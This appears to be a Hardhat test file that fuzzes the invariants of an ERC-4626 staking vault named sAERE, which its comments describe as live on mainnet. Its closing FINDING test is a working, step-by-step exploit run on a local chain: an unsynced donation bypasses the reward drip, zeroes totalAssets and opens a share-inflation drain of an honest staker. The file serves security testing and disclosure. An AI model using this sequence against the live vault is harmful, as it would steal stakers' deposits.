// =============================================================================
// SEEDED RANDOMIZED PROPERTY / STATEFUL-INVARIANT fuzzing for the LIVE sAERE
// vault (canonical mainnet 0xA2125bE9C6fd4196D9F94757Df18B3a2A5e650b0 —
// R6-hardened ERC-4626 staking receipt with a 7-day linear reward drip).
//
// Source under test: contracts/staking/sAERE.sol (matched to the live address
// via sdk-js/src/addresses.ts). Underlying = the real WAERE (contracts/WAERE.sol).
//
// TOOLCHAIN: hardhat-based randomized invariant fuzzing (NOT Foundry — `forge`
// is not installed and the repo builds through hardhat with OZ 4.9.6 + viaIR).
// Every random choice comes from mulberry32(seed); the base seed is printed at
// suite start and pinnable via FUZZ_SEED. On any break, the failing
// (campaign, step, actor, action, values) is embedded in the assertion message
// for a minimal repro.
//
// SCOPE: run this file in ISOLATION (the full suite OOM/segfaults on the
// unrelated ML-DSA PQC KAT tests):
//     npx hardhat test test/saere-4626-invariant-property.test.js
// No deploy to any live node, no contract-logic change, one new test file only.
//
// INVARIANTS FUZZED (exactly the sAERE brief):
//   * ERC-4626 convertToShares / convertToAssets are self-consistent with the
//     OZ virtual-offset formula, and monotonic non-decreasing in their arg.
//   * Rounding ALWAYS favors the vault: convertToAssets(convertToShares(x))<=x,
//     convertToShares(convertToAssets(s))<=s, previewMint>=previewRedeem,
//     previewWithdraw>=previewDeposit.
//   * SOLVENCY: totalAssets() never exceeds the vault's real WAERE balance, so
//     a depositor can never redeem more underlying than their shares back.
//   * ACCOUNTING: totalAssets == balance - undistributedReserve, the drip
//     reserve equals rewardRate*(periodFinish-now), and totalSupply reconciles
//     to the sum of every holder's shares (incl. the dead seed) across
//     interleaved deposit/mint/withdraw/redeem by multiple actors.
//   * deposit-then-immediate-redeem (no active drip) returns <= deposited.
//   * NO VALUE CREATION: cumulative WAERE paid out to actors never exceeds
//     cumulative WAERE they deposited plus total yield injected.
//   * Under yield-only (sink-path, always sync'd) inflows + time, the share
//     price (pricePerShare) is monotone NON-DECREASING.
//
// No em-dashes anywhere in this file.
// =============================================================================

const { expect } = require("chai");
const { ethers, network } = require("hardhat");
const { time } = require("@nomicfoundation/hardhat-network-helpers");

/* ------------------------------- seeded PRNG ------------------------------ */
function mulberry32(a) {
  return function () {
    a |= 0;
    a = (a + 0x6d2b79f5) | 0;
    let t = Math.imul(a ^ (a >>> 15), 1 | a);
    t = (t + Math.imul(t ^ (t >>> 7), 61 | t)) ^ t;
    return ((t ^ (t >>> 14)) >>> 0) / 4294967296;
  };
}
const BASE_SEED = process.env.FUZZ_SEED ? Number(process.env.FUZZ_SEED) : 0x5AE2E626;
function rngFor(tag, campaign) {
  let h = BASE_SEED ^ (campaign * 0x9e3779b1);
  for (let i = 0; i < tag.length; i++) h = (Math.imul(h, 31) + tag.charCodeAt(i)) | 0;
  return mulberry32(h >>> 0);
}
const ri = (rng, min, max) => min + Math.floor(rng() * (max - min + 1)); // inclusive
const pick = (rng, arr) => arr[Math.floor(rng() * arr.length)];
const chance = (rng, p) => rng() < p;

/* ------------------------------- misc helpers ----------------------------- */
const E = (n) => ethers.parseEther(String(n));
const MAXU = ethers.MaxUint256;
const DEAD_ADDRESS = "0x000000000000000000000000000000000000dEaD";
const DEAD_SEED = 1000n;
const OFFSET = 10n ** 6n; // sAERE._decimalsOffset() == 6

// OZ Math.mulDiv floor.
function mulDivFloor(x, y, d) {
  return (x * y) / d;
}

async function setBal(addr, amountWei) {
  await network.provider.send("hardhat_setBalance", [addr, "0x" + amountWei.toString(16)]);
}
async function latestTs() {
  return BigInt((await ethers.provider.getBlock("latest")).timestamp);
}

// Random asset amount: mix of sub-wei-scale dust, small, and fractional-ether
// values so rounding is stressed hard.
function rndAssets(rng) {
  const k = rng();
  if (k < 0.15) return BigInt(ri(rng, 1, 1_000_000)); // 1 wei .. 1e6 wei
  if (k < 0.5) return E(ri(rng, 1, 200));
  const num = E(ri(rng, 1, 50_000));
  return num / BigInt(ri(rng, 1, 997)); // fractional-ether, > 0
}

// Iteration counts (env-overridable so a quick smoke can shrink them).
const N = {
  GEN_CAMPAIGNS: Number(process.env.SAERE_GEN_CAMPAIGNS || 6),
  GEN_STEPS: Number(process.env.SAERE_GEN_STEPS || 70),
  YIELD_CAMPAIGNS: Number(process.env.SAERE_YIELD_CAMPAIGNS || 4),
  YIELD_STEPS: Number(process.env.SAERE_YIELD_STEPS || 55),
};

// =============================================================================
describe("INVARIANT: sAERE ERC-4626 staking-receipt vault (R6 drip)", function () {
  this.timeout(0);

  let signers, waereF, saereF;

  before(async function () {
    signers = await ethers.getSigners();
    waereF = await ethers.getContractFactory("WAERE");
    saereF = await ethers.getContractFactory("sAERE");
    console.log(
      `      [saere] base seed 0x${BASE_SEED.toString(16)} | ` +
        `${N.GEN_CAMPAIGNS}x${N.GEN_STEPS} general + ${N.YIELD_CAMPAIGNS}x${N.YIELD_STEPS} yield-only`
    );
  });

  // Fresh WAERE + sAERE. Mirrors the production deploy: the deployer must hold
  // and pre-approve the 1000-wei dead-share seed to the future sAERE address.
  async function deployStack() {
    const deployer = signers[0];
    const waere = await waereF.deploy();
    await waere.waitForDeployment();

    const nonce = await ethers.provider.getTransactionCount(deployer.address);
    const futureSaere = ethers.getCreateAddress({ from: deployer.address, nonce: nonce + 2 });
    await (await waere.connect(deployer).deposit({ value: DEAD_SEED })).wait();
    await (await waere.connect(deployer).approve(futureSaere, DEAD_SEED)).wait();

    const saere = await saereF.deploy(await waere.getAddress());
    await saere.waitForDeployment();
    expect(await saere.getAddress(), "future-address prediction drifted").to.equal(futureSaere);
    return { waere, saere, saereAddr: await saere.getAddress(), waereAddr: await waere.getAddress() };
  }

  // sample points for convert consistency / monotonicity / round-trip.
  const XS = [1n, 1000n, E(1), (E(1) * 7n) / 3n, E(12345)]; // assets
  const SS = [1n, 1_000_000n, E(1), (E(1) * 5n) / 2n, E(9999)]; // shares

  // The full invariant battery. `state` carries cumulative accounting.
  async function assertInvariants(ctx, saere, waere, saereAddr, actors, state, checkPriceMono) {
    const TS = await saere.totalSupply();
    const bal = await waere.balanceOf(saereAddr);
    const TA = await saere.totalAssets();
    const as = await saere.atomicState();
    // as = [balance, totalAssets_, undistributed, totalSupply_, rewardRate_, periodFinish_, lastObservedBalance_]
    const asBal = as[0], asTA = as[1], asUnd = as[2], asTS = as[3], asRR = as[4], asPF = as[5];
    const now = await latestTs();

    // ---- accounting: atomicState agrees with the individual getters ----
    expect(asBal, `[saere ATOMIC-bal] ${ctx}`).to.equal(bal);
    expect(asTA, `[saere ATOMIC-ta] ${ctx}`).to.equal(TA);
    expect(asTS, `[saere ATOMIC-ts] ${ctx}`).to.equal(TS);

    // ---- drip math: undistributed == rewardRate*(periodFinish-now) or 0 ----
    const expUnd = now < asPF ? asRR * (asPF - now) : 0n;
    expect(asUnd, `[saere DRIP] undistributed != rate*remaining ${ctx} rr=${asRR} pf=${asPF} now=${now}`)
      .to.equal(expUnd);

    // ---- totalAssets == balance - undistributedReserve (never underflowing) ----
    const expTA = bal > asUnd ? bal - asUnd : 0n;
    expect(TA, `[saere TA-DEF] totalAssets != balance-undistributed ${ctx} bal=${bal} und=${asUnd}`)
      .to.equal(expTA);

    // ---- SOLVENCY: the vault never claims more assets than it actually holds.
    //      This is what guarantees a redeemer can be paid in full. ----
    expect(TA, `[saere SOLVENCY] totalAssets > WAERE balance ${ctx} TA=${TA} bal=${bal}`).to.be.lte(bal);
    // NOTE: `undistributed <= balance` is deliberately NOT asserted here — it is
    // VIOLATED by an un-synced arrival and is captured as a standalone finding in
    // the "FINDING (drip double-count)" test below. See that test for the repro.

    // ---- supply reconciliation: totalSupply == deadSeed + sum(holder shares) ----
    let sumShares = DEAD_SEED;
    for (const a of actors) sumShares += await saere.balanceOf(a.address);
    expect(sumShares, `[saere SUPPLY] totalSupply != sum of balances ${ctx}`).to.equal(TS);

    // ---- convert consistency with the OZ virtual-offset formula ----
    for (const x of XS) {
      const onShares = await saere.convertToShares(x);
      const expShares = mulDivFloor(x, TS + OFFSET, TA + 1n);
      expect(onShares, `[saere C2S] convertToShares(${x}) != formula ${ctx} TS=${TS} TA=${TA}`).to.equal(expShares);
      // preview identity (down-rounding path).
      expect(await saere.previewDeposit(x), `[saere PREVIEW-DEP] ${ctx}`).to.equal(onShares);
      // withdraw rounds shares UP -> never fewer than a deposit would mint.
      expect(await saere.previewWithdraw(x), `[saere PREVIEW-WD] withdraw shares < deposit shares ${ctx}`).to.be.gte(onShares);
      // round-trip favors the vault.
      const back = await saere.convertToAssets(onShares);
      expect(back, `[saere RT-A] convertToAssets(convertToShares(${x})) > x ${ctx} back=${back}`).to.be.lte(x);
    }
    for (const s of SS) {
      const onAssets = await saere.convertToAssets(s);
      const expAssets = mulDivFloor(s, TA + 1n, TS + OFFSET);
      expect(onAssets, `[saere C2A] convertToAssets(${s}) != formula ${ctx} TS=${TS} TA=${TA}`).to.equal(expAssets);
      expect(await saere.previewRedeem(s), `[saere PREVIEW-RDM] ${ctx}`).to.equal(onAssets);
      // mint rounds assets UP -> costs at least what a redeem would return.
      expect(await saere.previewMint(s), `[saere PREVIEW-MINT] mint assets < redeem assets ${ctx}`).to.be.gte(onAssets);
      const back = await saere.convertToShares(onAssets);
      expect(back, `[saere RT-S] convertToShares(convertToAssets(${s})) > s ${ctx} back=${back}`).to.be.lte(s);
    }

    // ---- monotonicity of both conversions in their argument (fixed state) ----
    for (let i = 1; i < XS.length; i++) {
      expect(await saere.convertToShares(XS[i]), `[saere MONO-S] convertToShares not monotone ${ctx}`)
        .to.be.gte(await saere.convertToShares(XS[i - 1]));
    }
    for (let i = 1; i < SS.length; i++) {
      expect(await saere.convertToAssets(SS[i]), `[saere MONO-A] convertToAssets not monotone ${ctx}`)
        .to.be.gte(await saere.convertToAssets(SS[i - 1]));
    }

    // ---- NO VALUE CREATION: actors never collectively withdraw more than the
    //      total real WAERE that ever entered the vault = deposits + yield + the
    //      1000-wei dead seed (put in by the deployer at construction). This is
    //      the exact conservation bound (balance = seed+dep+yield-withdrawn >= 0).
    expect(
      state.withdrawn,
      `[saere NO-CREATE] withdrawn ${state.withdrawn} > deposited ${state.deposited} + yield ${state.yield} + seed ${DEAD_SEED} ${ctx}`
    ).to.be.lte(state.deposited + state.yield + DEAD_SEED);

    // ---- optional: share price monotone non-decreasing (yield-only campaigns) ----
    if (checkPriceMono) {
      const pps = await saere.pricePerShare();
      expect(pps, `[saere PRICE-MONO] pricePerShare dropped ${ctx} prev=${state.prevPrice} now=${pps}`)
        .to.be.gte(state.prevPrice);
      state.prevPrice = pps;
    }
  }

  async function fundActors(waere, saereAddr, actors) {
    for (const a of actors) {
      await setBal(a.address, E("100000000000"));
      await (await waere.connect(a).deposit({ value: E("1000000000") })).wait();
      await (await waere.connect(a).approve(saereAddr, MAXU)).wait();
    }
  }

  // sink-path yield: transfer WAERE in then ping sync() (exactly what AereSink
  // does). Returns the injected amount.
  async function injectYield(waere, saere, saereAddr, feeder, y) {
    await (await waere.connect(feeder).deposit({ value: y })).wait();
    await (await waere.connect(feeder).transfer(saereAddr, y)).wait();
    await (await saere.sync()).wait();
    return y;
  }

  // -------------------------------------------------------------------------
  it("general interleaving: solvency, accounting, rounding-favors-vault, no value creation", async function () {
    let steps = 0, deposits = 0, mints = 0, withdraws = 0, redeems = 0, yields = 0, donations = 0, instantRT = 0;

    for (let c = 0; c < N.GEN_CAMPAIGNS; c++) {
      const rng = rngFor("gen", c);
      const { waere, saere, saereAddr } = await deployStack();
      const actors = [signers[1], signers[2], signers[3], signers[4], signers[5]];
      const feeder = signers[9];
      await setBal(feeder.address, E("100000000000"));
      await fundActors(waere, saereAddr, actors);

      const state = { deposited: 0n, withdrawn: 0n, yield: 0n, prevPrice: 0n };
      await assertInvariants(`c${c} init`, saere, waere, saereAddr, actors, state);

      // Guaranteed instant round-trip on the fresh (drip-inactive) vault: a
      // deposit immediately redeemed can never return more than was put in.
      {
        const rt = pick(rng, actors);
        const a = E(ri(rng, 1, 1000));
        const shBefore = await saere.balanceOf(rt.address);
        const bBefore = await waere.balanceOf(saereAddr);
        await (await saere.connect(rt).deposit(a, rt.address)).wait();
        state.deposited += (await waere.balanceOf(saereAddr)) - bBefore;
        const minted = (await saere.balanceOf(rt.address)) - shBefore;
        if (minted > 0n) {
          const b2 = await waere.balanceOf(saereAddr);
          await (await saere.connect(rt).redeem(minted, rt.address, rt.address)).wait();
          const out = b2 - (await waere.balanceOf(saereAddr));
          state.withdrawn += out;
          expect(out, `[saere INSTANT-RT-INIT] c${c} deposit(${a})->redeem out=${out}`).to.be.lte(a);
          instantRT++;
        }
        await assertInvariants(`c${c} init-rt`, saere, waere, saereAddr, actors, state);
      }

      for (let s = 0; s < N.GEN_STEPS; s++) {
        const action = pick(rng, [
          "deposit", "deposit", "mint", "withdraw", "redeem", "redeem",
          "yield", "yield", "donate", "advance", "sync", "instantRT",
        ]);
        const actor = pick(rng, actors);
        const ctx = `c${c} s${s} actor=${actor.address.slice(0, 8)} action=${action}`;

        try {
          if (action === "deposit") {
            const a = rndAssets(rng);
            const before = await waere.balanceOf(saereAddr);
            await (await saere.connect(actor).deposit(a, actor.address)).wait();
            state.deposited += (await waere.balanceOf(saereAddr)) - before;
            deposits++;
          } else if (action === "mint") {
            const sh = rndAssets(rng); // interpret as target shares
            const need = await saere.previewMint(sh);
            if (need > (await waere.balanceOf(actor.address))) { steps++; continue; }
            const before = await waere.balanceOf(saereAddr);
            await (await saere.connect(actor).mint(sh, actor.address)).wait();
            state.deposited += (await waere.balanceOf(saereAddr)) - before;
            mints++;
          } else if (action === "withdraw") {
            const maxW = await saere.maxWithdraw(actor.address);
            if (maxW === 0n) { steps++; continue; }
            const a = maxW === 1n ? 1n : BigInt(ri(rng, 1, 1_000_000)) * maxW / 1_000_000n;
            const amt = a === 0n ? 1n : a;
            const before = await waere.balanceOf(saereAddr);
            await (await saere.connect(actor).withdraw(amt, actor.address, actor.address)).wait();
            state.withdrawn += before - (await waere.balanceOf(saereAddr));
            withdraws++;
          } else if (action === "redeem") {
            const shBal = await saere.balanceOf(actor.address);
            if (shBal === 0n) { steps++; continue; }
            const sh = chance(rng, 0.35) ? shBal : (BigInt(ri(rng, 1, 1_000_000)) * shBal) / 1_000_000n;
            const amt = sh === 0n ? 1n : sh;
            const before = await waere.balanceOf(saereAddr);
            await (await saere.connect(actor).redeem(amt, actor.address, actor.address)).wait();
            state.withdrawn += before - (await waere.balanceOf(saereAddr));
            redeems++;
          } else if (action === "yield") {
            const y = rndAssets(rng);
            state.yield += await injectYield(waere, saere, saereAddr, feeder, y);
            yields++;
          } else if (action === "donate") {
            // unsynced direct transfer (not the intended path; solvency + no-creation
            // must still hold even though the share price briefly reads high).
            const y = rndAssets(rng);
            await (await waere.connect(feeder).deposit({ value: y })).wait();
            await (await waere.connect(feeder).transfer(saereAddr, y)).wait();
            state.yield += y;
            donations++;
          } else if (action === "advance") {
            await time.increase(ri(rng, 1, 3 * 24 * 60 * 60)); // up to 3 days
            await network.provider.send("evm_mine");
          } else if (action === "sync") {
            await (await saere.sync()).wait();
          } else if (action === "instantRT") {
            // deposit-then-immediate-redeem must never return more than deposited,
            // but ONLY when there is no active drip and no pending unsynced arrival
            // (otherwise legitimate vesting accrues to the shares between the two txs).
            const as = await saere.atomicState();
            if (as[2] === 0n && as[6] === as[0]) {
              const a = E(ri(rng, 1, 500));
              const shBefore = await saere.balanceOf(actor.address);
              const balBefore = await waere.balanceOf(saereAddr);
              await (await saere.connect(actor).deposit(a, actor.address)).wait();
              state.deposited += (await waere.balanceOf(saereAddr)) - balBefore;
              // exactly the shares this deposit minted for the actor.
              const minted = (await saere.balanceOf(actor.address)) - shBefore;
              if (minted > 0n) {
                const b2 = await waere.balanceOf(saereAddr);
                await (await saere.connect(actor).redeem(minted, actor.address, actor.address)).wait();
                const out = b2 - (await waere.balanceOf(saereAddr));
                state.withdrawn += out;
                expect(out, `[saere INSTANT-RT] deposit(${a})->redeem returned ${out} > deposit ${a} ${ctx}`).to.be.lte(a);
                instantRT++;
              }
            }
          }
        } catch (e) {
          // Reverts on edge amounts (e.g. rounding to 0 shares/assets) are legal;
          // the invariant battery below still runs on the unchanged state.
          if (/INVARIANT|saere [A-Z]/.test(String(e.message))) throw e;
        }

        await assertInvariants(ctx, saere, waere, saereAddr, actors, state);
        steps++;
      }

      // ---- finale: vest everything, then everyone redeems in full. The vault
      //      must remain solvent and no actor can have extracted more than in. ----
      await time.increase(8 * 24 * 60 * 60); // > DRIP_DURATION
      await network.provider.send("evm_mine");
      await (await saere.sync()).wait();
      for (const a of actors) {
        const shBal = await saere.balanceOf(a.address);
        if (shBal > 0n) {
          const before = await waere.balanceOf(saereAddr);
          await (await saere.connect(a).redeem(shBal, a.address, a.address)).wait();
          state.withdrawn += before - (await waere.balanceOf(saereAddr));
        }
      }
      await assertInvariants(`c${c} finale`, saere, waere, saereAddr, actors, state);
      // Every actor share is gone; only the dead seed remains.
      expect(state.withdrawn, `[saere FINALE-CONSERVE] c${c}`).to.be.lte(state.deposited + state.yield + DEAD_SEED);
    }

    console.log(
      `      [saere gen] steps=${steps} dep=${deposits} mint=${mints} wd=${withdraws} rdm=${redeems} ` +
        `yield=${yields} donate=${donations} instantRT=${instantRT}`
    );
    expect(steps).to.be.greaterThan(300);
    expect(deposits + mints).to.be.greaterThan(40);
    expect(redeems + withdraws).to.be.greaterThan(40);
    expect(instantRT).to.be.greaterThan(0);
  });

  // -------------------------------------------------------------------------
  it("yield-only (sink-path, always sync'd): share price is monotone non-decreasing", async function () {
    let steps = 0, yields = 0, ops = 0, priceRises = 0;

    for (let c = 0; c < N.YIELD_CAMPAIGNS; c++) {
      const rng = rngFor("yield", c);
      const { waere, saere, saereAddr } = await deployStack();
      const actors = [signers[1], signers[2], signers[3]];
      const feeder = signers[9];
      await setBal(feeder.address, E("100000000000"));
      await fundActors(waere, saereAddr, actors);

      const state = { deposited: 0n, withdrawn: 0n, yield: 0n, prevPrice: 0n };
      // seed some real stake so the price is meaningful (counted into deposited).
      for (const a of actors) {
        const before = await waere.balanceOf(saereAddr);
        await (await saere.connect(a).deposit(E(ri(rng, 100, 5000)), a.address)).wait();
        state.deposited += (await waere.balanceOf(saereAddr)) - before;
      }
      state.prevPrice = await saere.pricePerShare();
      await assertInvariants(`yc${c} init`, saere, waere, saereAddr, actors, state, true);

      for (let s = 0; s < N.YIELD_STEPS; s++) {
        const action = pick(rng, ["yield", "yield", "yield", "advance", "advance", "deposit", "withdraw", "redeem"]);
        const actor = pick(rng, actors);
        const ctx = `yc${c} s${s} action=${action}`;
        const priceBefore = await saere.pricePerShare();

        try {
          if (action === "yield") {
            state.yield += await injectYield(waere, saere, saereAddr, feeder, rndAssets(rng));
            yields++;
          } else if (action === "advance") {
            await time.increase(ri(rng, 1, 2 * 24 * 60 * 60));
            await network.provider.send("evm_mine");
          } else if (action === "deposit") {
            const a = rndAssets(rng);
            const before = await waere.balanceOf(saereAddr);
            await (await saere.connect(actor).deposit(a, actor.address)).wait();
            state.deposited += (await waere.balanceOf(saereAddr)) - before;
            ops++;
          } else if (action === "withdraw") {
            const maxW = await saere.maxWithdraw(actor.address);
            if (maxW > 1n) {
              const amt = (BigInt(ri(rng, 1, 900_000)) * maxW) / 1_000_000n || 1n;
              const before = await waere.balanceOf(saereAddr);
              await (await saere.connect(actor).withdraw(amt, actor.address, actor.address)).wait();
              state.withdrawn += before - (await waere.balanceOf(saereAddr));
              ops++;
            }
          } else if (action === "redeem") {
            const shBal = await saere.balanceOf(actor.address);
            if (shBal > 0n) {
              const sh = (BigInt(ri(rng, 1, 900_000)) * shBal) / 1_000_000n || 1n;
              const before = await waere.balanceOf(saereAddr);
              await (await saere.connect(actor).redeem(sh, actor.address, actor.address)).wait();
              state.withdrawn += before - (await waere.balanceOf(saereAddr));
              ops++;
            }
          }
        } catch (e) {
          if (/INVARIANT|saere [A-Z]/.test(String(e.message))) throw e;
        }

        const priceAfter = await saere.pricePerShare();
        if (priceAfter > priceBefore) priceRises++;
        await assertInvariants(ctx, saere, waere, saereAddr, actors, state, true);
        steps++;
      }
    }

    console.log(`      [saere yield] steps=${steps} yields=${yields} ops=${ops} priceRises=${priceRises}`);
    expect(steps).to.be.greaterThan(150);
    expect(yields).to.be.greaterThan(30);
    expect(priceRises).to.be.greaterThan(0); // yield genuinely lifted the rate
  });

  // -------------------------------------------------------------------------
  // FINDING (drip double-count / un-synced arrival). Deterministic minimal repro.
  //
  // The fuzzer (seed 0x3039 among others) breaks `undistributed <= balance`. Root
  // cause: OZ 4.9.6 computes previewRedeem/maxWithdraw BEFORE _withdraw runs the
  // vault's sync(). A raw WAERE transfer into the vault (an "arrival" that did NOT
  // go through AereSink.flush, which is the ONLY inflow that syncs atomically) is:
  //   (1) counted in totalAssets() the instant it lands (totalAssets = rawBalance
  //       minus a reserve that does not yet know about the arrival), so it is
  //       immediately redeemable — DEFEATING the R5 HIGH-1 7-day anti-sandwich drip
  //       ("the share price cannot jump in a single block"); and
  //   (2) simultaneously re-booked into the drip reserve by the sync() that runs
  //       INSIDE the same redeem's _withdraw — so the same WAERE is counted twice:
  //       paid out to the redeemer AND locked into `undistributed`. A large-enough
  //       redeem then leaves undistributed > balance, so totalAssets() clamps to 0.
  //   (3) totalAssets()==0 with live shares re-opens the exact ERC-4626 inflation
  //       attack that R5 HIGH-4 (dead-seed + _decimalsOffset=6) was deployed to
  //       stop: the next depositor mints astronomically many shares and, once the
  //       phantom reserve vests, drains honest stakers.
  //
  // Reachable by ANY address on mainnet: WAERE is a standard ERC-20, so
  // `WAERE.transfer(sAERE, x)` creates an un-synced arrival at will.
  it("FINDING (drip double-count): un-synced WAERE arrival bypasses the drip, zeroes totalAssets, re-enables inflation", async function () {
    const [deployer, alice, bob, feeder, attacker] = signers;
    const { waere, saere, saereAddr } = await deployStack();
    for (const s of [alice, bob, feeder, attacker]) {
      await setBal(s.address, E("100000000000"));
      await (await waere.connect(s).deposit({ value: E("1000000") })).wait();
      await (await waere.connect(s).approve(saereAddr, MAXU)).wait();
    }

    // Two honest co-stakers, 50/50. Design intent: any later reward drips to BOTH
    // over 7 days, 50/50.
    await (await saere.connect(alice).deposit(E(100), alice.address)).wait();
    await (await saere.connect(bob).deposit(E(100), bob.address)).wait();
    const taBefore = await saere.totalAssets(); // ~200e18

    // (1) A raw un-synced donation of 1000 WAERE. It should NOT be instantly
    //     recognized (drip), yet totalAssets jumps by the full amount immediately.
    await (await waere.connect(feeder).transfer(saereAddr, E(1000))).wait();
    const taAfterDonation = await saere.totalAssets();
    expect(taAfterDonation - taBefore, "[FINDING] un-synced donation not counted in totalAssets")
      .to.be.gte(E(999)); // full ~1000 jump in a single block -> drip bypassed on the READ

    // (2) Alice redeems ALL her shares in the same block, before anyone syncs. She
    //     receives ~600 (100 principal + her entire 500 reward) with ZERO drip wait.
    const aliceShares = await saere.balanceOf(alice.address);
    const aBefore = await waere.balanceOf(alice.address);
    await (await saere.connect(alice).redeem(aliceShares, alice.address, alice.address)).wait();
    const aliceGain = (await waere.balanceOf(alice.address)) - aBefore;
    expect(aliceGain, "[FINDING] whale did not instantly capture the un-dripped reward")
      .to.be.gte(E(590)); // deposited 100, extracted ~600 in one block

    // (2b) The same donation is now ALSO sitting in the drip reserve: undistributed
    //      exceeds the vault balance and totalAssets() has collapsed to 0.
    const as = await saere.atomicState(); // [bal, TA, und, TS, rr, pf, lob]
    expect(as[2], "[FINDING] reserve NOT double-counted (und<=bal held)").to.be.gt(as[0]);
    expect(as[1], "[FINDING] totalAssets did not collapse to 0").to.equal(0n);

    // (2c) Bob, an honest passive 50% staker owed ~600, is now worth NOTHING.
    const bobShares = await saere.balanceOf(bob.address);
    expect(await saere.previewRedeem(bobShares), "[FINDING] bob's shares not zeroed").to.equal(0n);

    // (3) Inflation follow-on: while totalAssets()==0, a 1-WAERE deposit mints an
    //     astronomically large share balance; after the phantom reserve vests the
    //     attacker redeems far more than paid, draining the honest staker.
    const atk0 = await saere.balanceOf(attacker.address);
    await (await saere.connect(attacker).deposit(E(1), attacker.address)).wait();
    const atkMinted = (await saere.balanceOf(attacker.address)) - atk0;
    expect(atkMinted, "[FINDING] inflation mint not triggered").to.be.gt(E(1) * (10n ** 18n)); // >> normal
    await time.increase(8 * 24 * 60 * 60); // vest the phantom reserve
    await network.provider.send("evm_mine");
    await (await saere.sync()).wait();
    const atkOut = await saere.previewRedeem(atkMinted);
    const bobOut = await saere.previewRedeem(await saere.balanceOf(bob.address));
    expect(atkOut, "[FINDING] attacker did not extract more than deposited").to.be.gte(E(500)); // paid 1, redeems ~600
    expect(bobOut, "[FINDING] honest staker not drained").to.be.lt(E(1)); // owed ~600, left with dust

    console.log(
      `      [saere FINDING] taJump=${ethers.formatEther(taAfterDonation - taBefore)} ` +
        `aliceGain=${ethers.formatEther(aliceGain)} und=${ethers.formatEther(as[2])} bal=${ethers.formatEther(as[0])} ` +
        `TA0=${as[1]} atkPaid=1 atkOut=${ethers.formatEther(atkOut)} bobOut=${ethers.formatEther(bobOut)}`
    );
  });
});
